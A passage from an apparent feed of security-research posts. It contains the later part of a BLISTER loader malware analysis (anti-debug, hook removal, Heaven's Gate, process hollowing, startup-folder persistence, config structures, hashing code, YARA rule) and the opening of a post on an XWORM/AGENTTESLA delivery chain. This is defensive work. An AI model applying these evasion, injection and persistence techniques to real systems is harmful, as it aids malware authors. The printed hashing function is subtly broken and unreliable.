<p>When located, the 0x644 byte configuration is copied and XOR-decrypted with the same four-byte key:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte9638c26cbc8def2/6a7c792d3ce8e29a34cef5be/blister-loader-image45.jpg" alt="Config decryption" title="Config decryption" /></p>
<p>Finally, it returns a pointer to the beginning of the packed PE, which is after the 0x644 byte blob:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8a01a42a7550a205/6a7c7930e723d45060b09191/blister-loader-image58.jpg" alt="Pointer return to packed PE" title="Pointer return to packed PE" /></p>
<p>See the <a href="https://www.elastic.co/security-labs/blister-loader#configuration-structure">configuration structure</a> in the appendix.</p>
<h3 id="timebasedantidebug">Time Based Anti Debug</h3>
<p>After loading the configuration, and depending if the <strong>kEnableSleepBasedAntiDebug</strong> flag (0x800) is set, BLISTER calls its time-based anti-debug function:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbe4105290d4dd7bb/6a7c79322f00b271beef8d0d/blister-loader-image60.jpg" alt="Check configuration for Sleep function" title="Check configuration for Sleep function" /></p>
<p>This function starts by creating a thread with the Sleep Windows function as a starting address and 10 minutes as the argument:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcfaf031c56bc57f3/6a7c7935b4377093354d0efe/blister-loader-image26.jpg" alt="Sleep function (600000 ms / 10 minutes)" title="Sleep function (600000 ms / 10 minutes)" /></p>
<p>The main thread will sleep using <strong>NtDelayExecution</strong> until the sleep thread has exited:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte8c8d525b0b6de89/6a7c793842a11780ab955f97/blister-loader-image8.jpg" alt="NtDelayExecution used with Sleep function" title="NtDelayExecution used with Sleep function" /></p>
<p>Finally the function returns 0 when the sleep thread has run at least for 9 1/2 minutes:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt85d5aff11455c247/6a7c793b437e0f6718dd54a2/blister-loader-image57.jpg" alt="Condition to end sleep thread" title="Condition to end sleep thread" /></p>
<p>If not, the function will return 1 and the process will be terminated:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt69c0ed3bdd98ce8c/6a7c793d5967e552a05d7432/blister-loader-image16.jpg" alt="Process termination on sleep function if error" title="Process termination on sleep function if error" /></p>
<h3 id="windowsapi">Windows API</h3>
<h4 id="blistersgetmodulehandle">Blister’s GetModuleHandle</h4>
<p>BLISTER implements its own <strong>GetModuleHandle</strong> to evade detection, the function takes the library name hash as a parameter, iterates over the process <a href="https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data">PEB LDR</a>’s modules and checks the hashed module’s name against the one passed in the parameter:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltae56cd969973446c/6a7c79402f00b23d6bef8d19/blister-loader-image18.jpg" alt="Function used to verify module names" title="Function used to verify module names" /></p>
<h4 id="blistersgetprocaddress">Blister’s GetProcAddress</h4>
<p>BLISTER’s <strong>GetProcAddress</strong> takes the target DLL and the export hash as a parameter, it also takes a flag that tells the function that the library is 64 bits.</p>
<p>The DLL can be loaded or mapped then the function iterates over the DLL’s export function names and compares their hashes with the ones passed in the parameter:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt169ae83f7698f06b/6a7c7943bdcff0fd98c3cf9f/blister-loader-image3.jpg" alt="BLISTER’s GetProcAddress hash checking dll’s exports" title="BLISTER’s GetProcAddress hash checking dll’s exports" /></p>
<p>If the export is found, and its virtual address isn’t null, it is returned:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt300c354b302a00ca/6a7c7945448e4e85a25baa24/blister-loader-image48.jpg" alt="Return export virtual address" title="Return export virtual address" /></p>
<p>Else the DLL is <strong>LdrLoaded</strong> and BLISTER’s <strong>GetProcAddress</strong> is called again with the newly loaded dll:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd9e46a0b5299b5e5/6a7c7948c2cc09b77a24327c/blister-loader-image19.jpg" alt="LdrLoad the DLL and call GetProcAddress again" title="LdrLoad the DLL and call GetProcAddress again" /></p>
<h4 id="librarymanualmapping">Library Manual Mapping</h4>
<p>BLISTER manually maps a library using <strong>NtCreateFile</strong> in order to open a handle on the DLL file:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcdae758fa523f1ba/6a7c794ac2cc097af4243280/blister-loader-image56.jpg" alt="NtCreateFile used within mapping function" title="NtCreateFile used within mapping function" /></p>
<p>Next it creates a section with the handle by calling <strong>NtCreateSection</strong> with the <strong>SEC_IMAGE</strong> attribute which tells Windows to loads the binary as a PE:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt79c9040a6f233cf6/6a7c794d4c4bfbfba5cc779d/blister-loader-image31.jpg" alt="NtCreateSection used within mapping function" title="NtCreateSection used within mapping function" /></p>
<p><em>NtCreateSection used within mapping function</em></p>
<p>Finally it maps the section with <strong>NtMapViewOfSection</strong> :</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb7a96d7d80b32c88/6a7c794f77b0344b893f94aa/blister-loader-image36.jpg" alt="NtMapViewofSection used within mapping function" title="NtMapViewofSection used within mapping function" /></p>
<h4 id="x32x64ntdllmapping">x32/x64 Ntdll Mapping</h4>
<p>Following the call to its anti-debug function, BLISTER manually maps 32 bit and 64 bit versions of NTDLL.</p>
<p>It starts by mapping the x32 version:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta4b8255de8c13b2c/6a7c7952c2cc096e5b243284/blister-loader-image43.jpg" alt="32 bit NTDLL mapping" title="32 bit NTDLL mapping" /></p>
<p>Then it disables <a href="https://docs.microsoft.com/en-us/windows/win32/winprog64/file-system-redirector">SysWOW64 redirection</a>:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7ff4d9c5b42c4f8b/6a7c7954de231539d1fd1cd2/blister-loader-image17.jpg" alt="SysWOW64 disabled" title="SysWOW64 disabled" /></p>
<p>And then maps the 64 bit version:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdf1ece6fbef19520/6a7c79572f00b23f9def8d25/blister-loader-image50.jpg" alt="64 bit NTDLL mapping" title="64 bit NTDLL mapping" /></p>
<p>Then if available, the mapped libraries will be used with the <strong>GetProcAddress</strong> function, i.e:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc64d2bb7b32014a7/6a7c795a448e4e8cf25baa2c/blister-loader-image7.jpg" alt="Mapped libraries using GetProcAddress" title="Mapped libraries using GetProcAddress" /></p>
<h4 id="ldrloadingwindowslibrariesandremovinghooks">LdrLoading Windows Libraries and Removing Hooks</h4>
<p>After mapping 32 and 64 bit <strong>NTDLL</strong> versions BLISTER will <strong>LdrLoad</strong> several Windows libraries and remove potential hooks:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbbbae671e063fd97/6a7c795c6c6eac3815f0e2eb/blister-loader-image5.jpg" alt="Function used to load Windows libraries and remove hooks" title="Function used to load Windows libraries and remove hooks" /></p>
<p>First, it tries to convert the hash to the library name by comparing the hash against a fixed list of known hashes:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt847bacd27cf2d9f6/6a7c795fde231537a1fd1cd8/blister-loader-image22.jpg" alt="Hash comparison" title="Hash comparison" /></p>
<p>If the hash is found BLISTER uses the <strong>LdrLoad</strong> to load the library:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc6e0e1dcee417327/6a7c7961e02fac8cbf5d03bf/blister-loader-image53.jpg" alt="Leveraging LdrLoad to load DLL" title="Leveraging LdrLoad to load DLL" /></p>
<p>Then BLISTER searches for the corresponding module in its own process:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt289396a1068e3aaa/6a7c7964437e0fc85bdd54ac/blister-loader-image15.jpg" alt="Searching for module in own process" title="Searching for module in own process" /></p>
<p>And maps a fresh copy of the library with the module’s <strong>FullDllName</strong> :</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt31a5bd4df6fc6bd1/6a7c7966227b1cea9659257d/blister-loader-image10.jpg" alt="Retrieving Module’s FullDllName" title="Retrieving Module’s FullDllName" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5e8f3b76621fd0aa/6a7c79692f00b2a667ef8d29/blister-loader-image55.jpg" alt="Manual Mapping function" title="Manual Mapping function" /></p>
<p>BLISTER then applies the relocation to the mapped library with the loaded one as the base address for the relocation calculation:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8d89a88671a9dbf9/6a7c796c437e0f4a60dd54b0/blister-loader-image59.jpg" alt="Performing relocation" title="Performing relocation" /></p>
<p>Next BLISTER iterates over each section of the loaded library to see if the section is executable:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt76c4937aa02473e1/6a7c796fbd2198434775217e/blister-loader-image42.jpg" alt="Checking executable sections" title="Checking executable sections" /></p>
<p>If the section is executable, it is replaced with the mapped one, thus removing any hooks:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt31c65ae88ab3b5c7/6a7c79725967e56ccf5d7444/blister-loader-image47.jpg" alt="Section replacement" title="Section replacement" /></p>
<h4 id="x64apicall">x64 API Call</h4>
<p>BLISTER can call 64-bit library functions through the use of special 64-bit function wrapper:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2dbf0f1abbb927a9/6a7c79742f00b215f5ef8d2f/blister-loader-image29.jpg" alt="BLISTER utilizing 64-bit function library caller" title="BLISTER utilizing 64-bit function library caller" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfca5b397b6acfeed/6a7c7977fc63ab9949646e16/blister-loader-image54.jpg" alt="64-bit function library caller" title="64-bit function library caller" /></p>
<p>To make this call BLISTER switches between 32-bit to 64-bit code using the old Heaven’s Gate <a href="https://blog.talosintelligence.com/2019/07/rats-and-stealers-rush-through-heavens.html">technique</a>:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5ffa36e7c4e8dfb8/6a7c797a448e4ef5d95baa34/blister-loader-image51.jpg" alt="Observed Heaven’s Gate byte sequences" title="Observed Heaven’s Gate byte sequences" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7dcf1f52b60347a9/6a7c797cc33f4f46ffd5495a/blister-loader-image20.jpg" alt="Heaven’s Gate - Transition to 64 bit mode" title="Heaven’s Gate - Transition to 64 bit mode" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8ef9ba688ec7c2ae/6a7c797f33fa8a0cf71fc831/blister-loader-image21.jpg" alt="Heaven’s Gate - Transition to 32 bit mode" title="Heaven’s Gate - Transition to 32 bit mode" /></p>
<h2 id="unpackingpayload">Unpacking Payload</h2>
<p>During the unpacking process of the payload, the malware starts by allocating memory using <strong>NtAllocateVirtualMemory</strong> and passing in configuration information. A memcpy function is used to store a copy of encrypted/compressed payload in a buffer for next stage (decryption).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt700bc70af1dc1566/6a7c798242a117eedf955fad/blister-loader-image2.jpg" alt="Unpacking BLISTER payload" title="Unpacking BLISTER payload" /></p>
<h3 id="deciphering">Deciphering</h3>
<p>BLISTER leverages the Rabbit stream <a href="https://en.wikipedia.org/wiki/Rabbit_(cipher)">cipher</a>, passing in the previously allocated buffer containing the encrypted payload, the compressed data size along with the 16-byte deciphering key and 8-byte IV.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt01ebb776284168a4/6a7c79845967e5e07f5d7448/blister-loader-image1.jpg" alt="Decipher function using the Rabbit cipher" title="Decipher function using the Rabbit cipher" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf8ef42ae72162bf9/6a7c7987437e0f1e8ddd54ba/blister-loader-image23.jpg" alt="Observed Rabbit Cipher Key and IV inside memory" title="Observed Rabbit Cipher Key and IV inside memory" /></p>
<h3 id="decompression">Decompression</h3>
<p>After the decryption stage, the payload is then decompressed using <strong>RtlDecompressBuffer</strong> with the LZNT1 compression format.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt27a5665c60c3261d/6a7c798ab4377036af4d0f0e/blister-loader-image9.jpg" alt="Decompression function using LZNT1" title="Decompression function using LZNT1" /></p>
<h2 id="persistencemechanism">Persistence Mechanism</h2>
<p>To achieve persistence, BLISTER leverages Windows shortcuts by creating an LNK file inside the Windows startup folder. It creates a new directory using the <strong>CreateDirectoryW</strong> function with a unique hardcoded string found in the configuration file such as: C:\ProgramData<code>UNIQUE STRING\\&gt;</code></p>
<p>BLISTER then copies C:\System32\rundll32.exe and itself to the newly created directory and renames the files to UNIQUE STRING\&gt;.exe and UNIQUE STRING\&gt;.dll, respectively.</p>
<p>BLISTER uses the <strong>CopyModuleIntoFolder</strong> function and the <strong>IFileOperation</strong> Windows <strong>COM</strong> interface for <a href="https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies">bypassing UAC</a> when copying and renaming the files:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt76ae9538988304a0/6a7c798ce723d480c0b091a5/blister-loader-image46.jpg" alt="BLISTER function used to copy files" title="BLISTER function used to copy files" /></p>
<p>The malware creates an LNK file using <strong>IShellLinkW COM</strong> interface and stores it in <code>C:\Users\&lt;username&gt;\AppData\Roaming\Microsft\Windows\Start Menu\Startup as UNIQUE STRING\\&gt;.lnk</code></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt283111c7eba18737/6a7c798f77b0341b313f94b6/blister-loader-image25.jpg" alt="Mapping shortcut to BLISTER with arguments" title="Mapping shortcut to BLISTER with arguments" /></p>
<p>The LNK file is set to run the export function <strong>LaunchColorCpl</strong> of the newly copied malware with the renamed instance of rundll32. C:\ProgramData\UNIQUE STRING\&gt;\UNIQUE STRING\&gt;.exe C:\ProgramData\UNIQUE STRING\&gt;\UNIQUE STRING\&gt;.dll,LaunchColorCpl</p>
<h2 id="injectingpayload">Injecting Payload</h2>
<p>BLISTER implements 3 different injection techniques to execute the payload according to the configuration flag:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltda852a9756354c46/6a7c79928fc2d0554f3e87aa/blister-loader-image27.jpg" alt="BLISTER injection techniques by config flag" title="BLISTER injection techniques by config flag" /></p>
<h3 id="shellcodeexecution">Shellcode Execution</h3>
<p>After decrypting the shellcode, BLISTER is able to inject it to a newly allocated read write memory region with <strong>NtAllocateVirtualMemory</strong> API, it then copies the shellcode to it and it sets the memory region to read write execute with <strong>NtProtectVirtualMemory</strong> and then executes it.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltad03b8b341cc2110/6a7c7995437e0f0a1add54be/blister-loader-image28.jpg" alt="Execute shellcode function" title="Execute shellcode function" /></p>
<h3 id="ownprocessinjection">Own Process Injection</h3>
<p>BLISTER can execute DLL or Executable payloads reflectively in its memory space. It first creates a section with <strong>NtCreateSection</strong> API.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdc3c187b4d14d09a/6a7c79971967ea77ea32a766/blister-loader-image39.jpg" alt="RunPE function" title="RunPE function" /></p>
<p>BLISTER then tries to map a view on the created section at the payload’s preferred base address. In case the preferred address is not available and the payload is an executable it will simply map a view on the created section at a random address and then do relocation.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte8debd4daed8f4c9/6a7c799a3ce8e2f696cef5d0/blister-loader-image34.jpg" alt="Check for conflicting addresses" title="Check for conflicting addresses" /></p>
<p>Conversly, if the payload is a DLL, it will first unmap the memory region of the current process image and then it will map a view on the created section with the payload’s preferred address.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt219aecbdea3ae7cb/6a7c799d42a11700f7955fb1/blister-loader-image33.jpg" alt="DLL unmapping" title="DLL unmapping" /></p>
<p>BLISTER then calls a function to copy the PE headers and the sections.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5c9014e9adf0373c/6a7c799fead8ec7bf1ba4819/blister-loader-image12.jpg" alt="Copying over PE/sections" title="Copying over PE/sections" /></p>
<p>Finally, BLISTER executes the loaded payload in memory starting from its entry point if the payload is an executable. In case the payload is a DLL, it will find its export function according to the hash in the config file and execute it.</p>
<h3 id="processhollowing">Process Hollowing</h3>
<p>BLISTER is able to perform <a href="https://attack.mitre.org/techniques/T1055/012/">process hollowing</a> in a remote process:</p>
<p>First, there is an initial check for a specific module hash value (0x12453653), if met, BLISTER performs process hollowing against the Internet Explorer executable.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6631c32b27791916/6a7c79a2c33f4f6fc9d54960/blister-loader-image32.jpg" alt="Internet Explorer option for process hollowing" title="Internet Explorer option for process hollowing" /></p>
<p>If not, the malware performs remote process hollowing with <strong>Werfault.exe</strong>. BLISTER follows standard techniques used for process hollowing.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte86100778f9a2545/6a7c79a573d9bdf4c3297b00/blister-loader-image44.jpg" alt="Process hollowing function" title="Process hollowing function" /></p>
<p>There is one path within this function: if certain criteria are met matching Windows OS versions and build numbers the hollowing technique is performed by dropping a temporary file on disk within the <strong>AppData</strong> folder titled <strong>Bg.Agent.ETW</strong> with an explicit extension.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc882e4b38e6a9d91/6a7c79a72f00b23766ef8d39/blister-loader-image52.jpg" alt="Compatibility Condition check" title="Compatibility Condition check" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf8fdcc33780c049c/6a7c79aa4c4bfb5322cc77af/blister-loader-image14.jpg" alt="Compatibility Condition function" title="Compatibility Condition function" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb230e354c61cda49/6a7c79ad80ee38d54160d078/blister-loader-image4.jpg" alt="Temporary file used to store payload" title="Temporary file used to store payload" /></p>
<p>The malware uses this file to read and write malicious DLL to this file. Werfault.exe is started by BLISTER and then the contents of this temporary DLL are loaded into memory into the Werfault process and the file is shortly deleted after.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltaed04c86b1e734f2/6a7c79afe02facc83f5d03c7/blister-loader-image38.jpg" alt="Procmon output of compatibility function" title="Procmon output of compatibility function" /></p>
<h2 id="configurationextractor">Configuration Extractor</h2>
<p>Automating the configuration and payload extraction from BLISTER is a key aspect when it comes to threat hunting as it gives visibility of the campaign and the malware deployed by the threat actors which enable us to discover new unknown samples and Cobalt Strike instances in a timely manner.</p>
<p>Our extractor uses a <a href="https://github.com/Robin-Pwner/Rabbit-Cipher">Rabbit stream cipher implementation</a> and takes either a directory of samples with <strong>-d</strong> option or <strong>-f</strong> for a single sample,</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd293f47bee3609b1/6a7c79b2448e4e4fcf5baa3c/blister-loader-image41.jpg" alt="Config extractor output" title="Config extractor output" /></p>
<p>To enable the community to further defend themselves against existing and new variants of the BLISTER loader, we are making the configuration extractor open source under the Apache 2 License. The configuration extractor documentation and binary download can be accessed <a href="https://www.elastic.co/security-labs/blister-configuration-extractor">here</a>.</p>
<h2 id="conclusion">Conclusion</h2>
<p>BLISTER continues to be a formidable threat, punching above its own weight class, distributing popular malware families and implants leading to major compromises. Elastic Security has been tracking BLISTER for months and we see no signs of this family slowing down.</p>
<p>From reversing BLISTER, our team was able to identify key functionality such as different injection methods, multiple techniques for defense evasion using anti-debug/anti-analysis features and heavy reliance on Windows Native API’s. We also are releasing a configuration extractor that can statically retrieve actionable information from BLISTER samples as well as dump out the embedded payloads.</p>
<h2 id="appendix">Appendix</h2>
<h3 id="configurationstructure">Configuration Structure</h3>
<pre><code>BLISTER configuration structure

struct Config {
  uint16_t flag;
  uint32_t payload_export_hash;
  wchar_t w_payload_filename_and_cmdline[783];
  size_t compressed_data_size;
  size_t uncompressed_data_size;
  uint8_t pe_deciphering_key[16];
  uint8_t pe_deciphering_iv[8];
};
</code></pre>
<h3 id="configurationsflags">Configuration’s Flags</h3>
<pre><code>BLISTER configuration files

enum Config::Flags {
  kDoPersistance = 0x1,
  kOwnProcessReflectiveInjectionMethod = 0x2,
  kOwnProcessHollowingMethod = 0x8,
  kRemoteProcessHollowingMethod = 0x10,
  kExecutePayloadExport = 0x20,
  kExecuteShellcodeMethod = 0x40,
  kInjectWithCmdLine = 0x80,
  kSleepAfterInjection = 0x100,
  kEnableSleepBasedAntiDebug = 0x800,
};
</code></pre>
<h3 id="hashingalgorithm">Hashing Algorithm</h3>
<pre><code>BLISTER hashing algorithm

uint32_t HashLibraryName(wchar_t *name) {
  uint32_t name {0};
  while (*name) {
 hash = ((hash &gt;&gt; 23) | (hash  &lt;&lt; 9)) + *name++;
  }
  return hash ;
}
</code></pre>
<h3 id="indicators">Indicators</h3>
<p>| Indicator                                                        | Type   | Note        |
| ---------------------------------------------------------------- | ------ | ----------- |
| afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2 | SHA256 | BLISTER DLL |</p>
<h2 id="yararule">YARA Rule</h2>
<p>This updated YARA rule has shown a 13% improvement in detection rates.</p>
<pre><code>BLISTER YARA rule

rule Windows_Trojan_BLISTER {
    meta:
        Author = "Elastic Security"
        creation_date = "2022-04-29"
        last_modified = "2022-04-29"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "BLISTER"
        threat_name = "Windows.Trojan.BLISTER"
        description = "Detects BLISTER loader."
        reference_sample = "afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2"

    strings:
        $a1 = { 8D 45 DC 89 5D EC 50 6A 04 8D 45 F0 50 8D 45 EC 50 6A FF FF D7 }
        $a2 = { 75 F7 39 4D FC 0F 85 F3 00 00 00 64 A1 30 00 00 00 53 57 89 75 }
        $a3 = { 78 03 C3 8B 48 20 8B 50 1C 03 CB 8B 78 24 03 D3 8B 40 18 03 FB 89 4D F8 89 55 E0 89 45 E4 85 C0 74 3E 8B 09 8B D6 03 CB 8A 01 84 C0 74 17 C1 C2 09 0F BE C0 03 D0 41 8A 01 84 C0 75 F1 81 FA B2 17 EB 41 74 27 8B 4D F8 83 C7 02 8B 45 F4 83 C1 04 40 89 4D F8 89 45 F4 0F B7 C0 3B 45 E4 72 C2 8B FE 8B 45 04 B9 }
        $b1 = { 65 48 8B 04 25 60 00 00 00 44 0F B7 DB 48 8B 48 ?? 48 8B 41 ?? C7 45 48 ?? ?? ?? ?? 4C 8B 40 ?? 49 63 40 ?? }
        $b2 = { B9 FF FF FF 7F 89 5D 40 8B C1 44 8D 63 ?? F0 44 01 65 40 49 2B C4 75 ?? 39 4D 40 0F 85 ?? ?? ?? ?? 65 48 8B 04 25 60 00 00 00 44 0F B7 DB }
    condition:
        any of them
}
</code></pre>
<h2 id="references">References</h2>
<ul>
<li><a href="https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign">https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign</a></li>
<li><a href="https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html?utm_source=trendmicroresearch&amp;utm_medium=smk&amp;utm_campaign=0422_Socgholish">https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html</a></li>
<li><a href="https://redcanary.com/threat-detection-report/threats/socgholish/">https://redcanary.com/threat-detection-report/threats/socgholish/</a></li>
</ul>
<h2 id="artifacts">Artifacts</h2>
<p>Artifacts are also available for <a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte5a55b99e66b4794/628e88d91cd65960bcff2862/blister-indicators.zip">download</a> in both ECS and STIX format in a combined zip bundle.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/blister-loader</link>
    <guid isPermaLink="false">blister-loader</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Cyril François,Daniel Stepanic,Salim Bitam]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt37ea0d6d83b1facb/6a7c79b5c2cc099ddb24328a/blog-thumb-power-lines.jpg" length="0" type="image/jpeg"/>
    <pubDate>Thu, 13 Apr 2023 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Attack chain leads to XWORM and AGENTTESLA]]></title>
    <description><![CDATA[Our team has recently observed a new malware campaign that employs a well-developed process with multiple stages. The campaign is designed to trick unsuspecting users into clicking on the documents, which appear to be legitimate.]]></description>
    <content:encoded><![CDATA[<h2 id="keytakeaways">Key Takeaways</h2>
<ul>
<li>Threat actors are deploying known malware using their own custom .NET loaders</li>
<li>The threat actors employ simple and well-known tactics such as bypassing AMSI through patching and a basic custom .NET loader</li>
<li>The threat actors are abusing legitimate free file hosting services</li>
</ul>
<h2 id="preamble">Preamble</h2>
<p>Our team has recently observed a new malware campaign that employs a well-developed process with multiple stages. The campaign is designed to trick unsuspecting users into clicking on the documents, which appear to be legitimate, but are in fact fake, the adversary leverages weaponized word documents to execute malicious PowerShell scripts, and also utilizes a custom obfuscated .NET loader to load various malware strains, including XWORM and AGENTTESLA.</p>
<h2 id="rtfloadercodeanalysis">RTF loader code analysis</h2>
<h3 id="overview">Overview</h3>
<p>During a recent investigation, we discovered a malicious word document named <code>Card &amp; Booking Details.docx</code>. This document has been designed with the intent to deceive the victim and includes two falsified scanned documents, namely a credit card and a passport.</p>
<p>Upon opening the document, an RTF object hosted at <code>www.mediafire[.]com/file/79jzbqigitjp2v2/p2.rtf</code> is fetched.</p>
<p>This RTF object contains a macro-enabled Excel object. When opened, this macro downloads an obfuscated powerShell script which in turn deploys different malware families.</p>
<p>At the time of this writing, we have observed two distinct malware families, namely XWORM and AGENTTESLA, have been deployed through this execution chain. Both malware families mentioned above are loaded into the compromised system's memory by the same custom .NET loader. Once loaded, the malicious payload can carry out a range of functions, such as stealing sensitive data and executing commands on the compromised system.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt97d024f488857c8f/6a7c772f33fa8a953c1fc7e9/image8.png" alt="Execution flow diagram" title="Execution flow diagram" /></p>
<p>In this research post, we will walk through the initial execution of the malware and detail the capabilities we discovered.</p>
<h3 id="extractingthemaliciousvba">Extracting the malicious VBA</h3>
<p>The RTF document contains multiple embedded objects, including an interesting one that caught our attention: <code>Excel.SheetMacroEnabled</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9f126802f9bab6b8/6a7c773235e2a115ae76c7a0/image1.jpg" alt="Listing objects embedded in the RTF document" title="Listing objects embedded in the RTF document" /></p>
<p>We can use <a href="https://github.com/DidierStevens/DidierStevensSuite/blob/master/rtfdump.py"><code>rtfdumpy.py</code></a>, a script developed by Didier Stevens to analyze RTF files, to dump the object and <a href="https://www.decalage.info/python/olevba"><code>olevba.py</code></a>, a script developed by Philippe Lagadec, to extract any embedded VBA scripts from an <a href="https://en.wikipedia.org/wiki/Object_Linking_and_Embedding">OLE</a> object. The extracted VBA script shown below downloads and executes a malicious powershell script from <code>https://www.mediafire[.]com/file/xnqxmqlcj51501d/7000m.txt/file</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5fe88e936beba30a/6a7c77356c6eac4c5df0e2af/image2.png" alt="Extracting the VBA script from the Excel sheet object" title="Extracting the VBA script from the Excel sheet object" /></p>
<h3 id="powershellscriptanalysis">Powershell script analysis</h3>
<p>The malicious PowerShell script is obfuscated using string substitution to evade detection and make analysis more difficult.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb9aa2e941f31938f/6a7c7738bd219874df752124/image13.png" alt="Powershell script obfuscated using string substitution" title="Powershell script obfuscated using string substitution" /></p>
<p>It contains additional powershell script blocks in hex format that will be deployed in the infected machine designed to prepare the environment by setting up persistence, bypassing AMSI, disabling Windows defender and creating a mechanism to update the malware. The ultimate objective is to install two .NET binaries, namely a loader and a payload (XWORM / AGENTTESLA).</p>
<h3 id="deletingthemaliciousdocument">Deleting the malicious document</h3>
<p>The malware starts by deleting the original Word document, first killing the process <code>Winword.exe</code> and then deleting all .DOCX files located in the default <code>Downloads</code> and <code>Desktop</code> folders of every user. This initial step shows the malware's destructive nature and how it can potentially harm the user's data.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltee7c3fb5dc5ad0b2/6a7c773b2f00b2c418ef8cbf/image5.jpg" alt="Powershell command to delete the malicious word document" title="Powershell command to delete the malicious word document" /></p>
<h3 id="persistence">Persistence</h3>
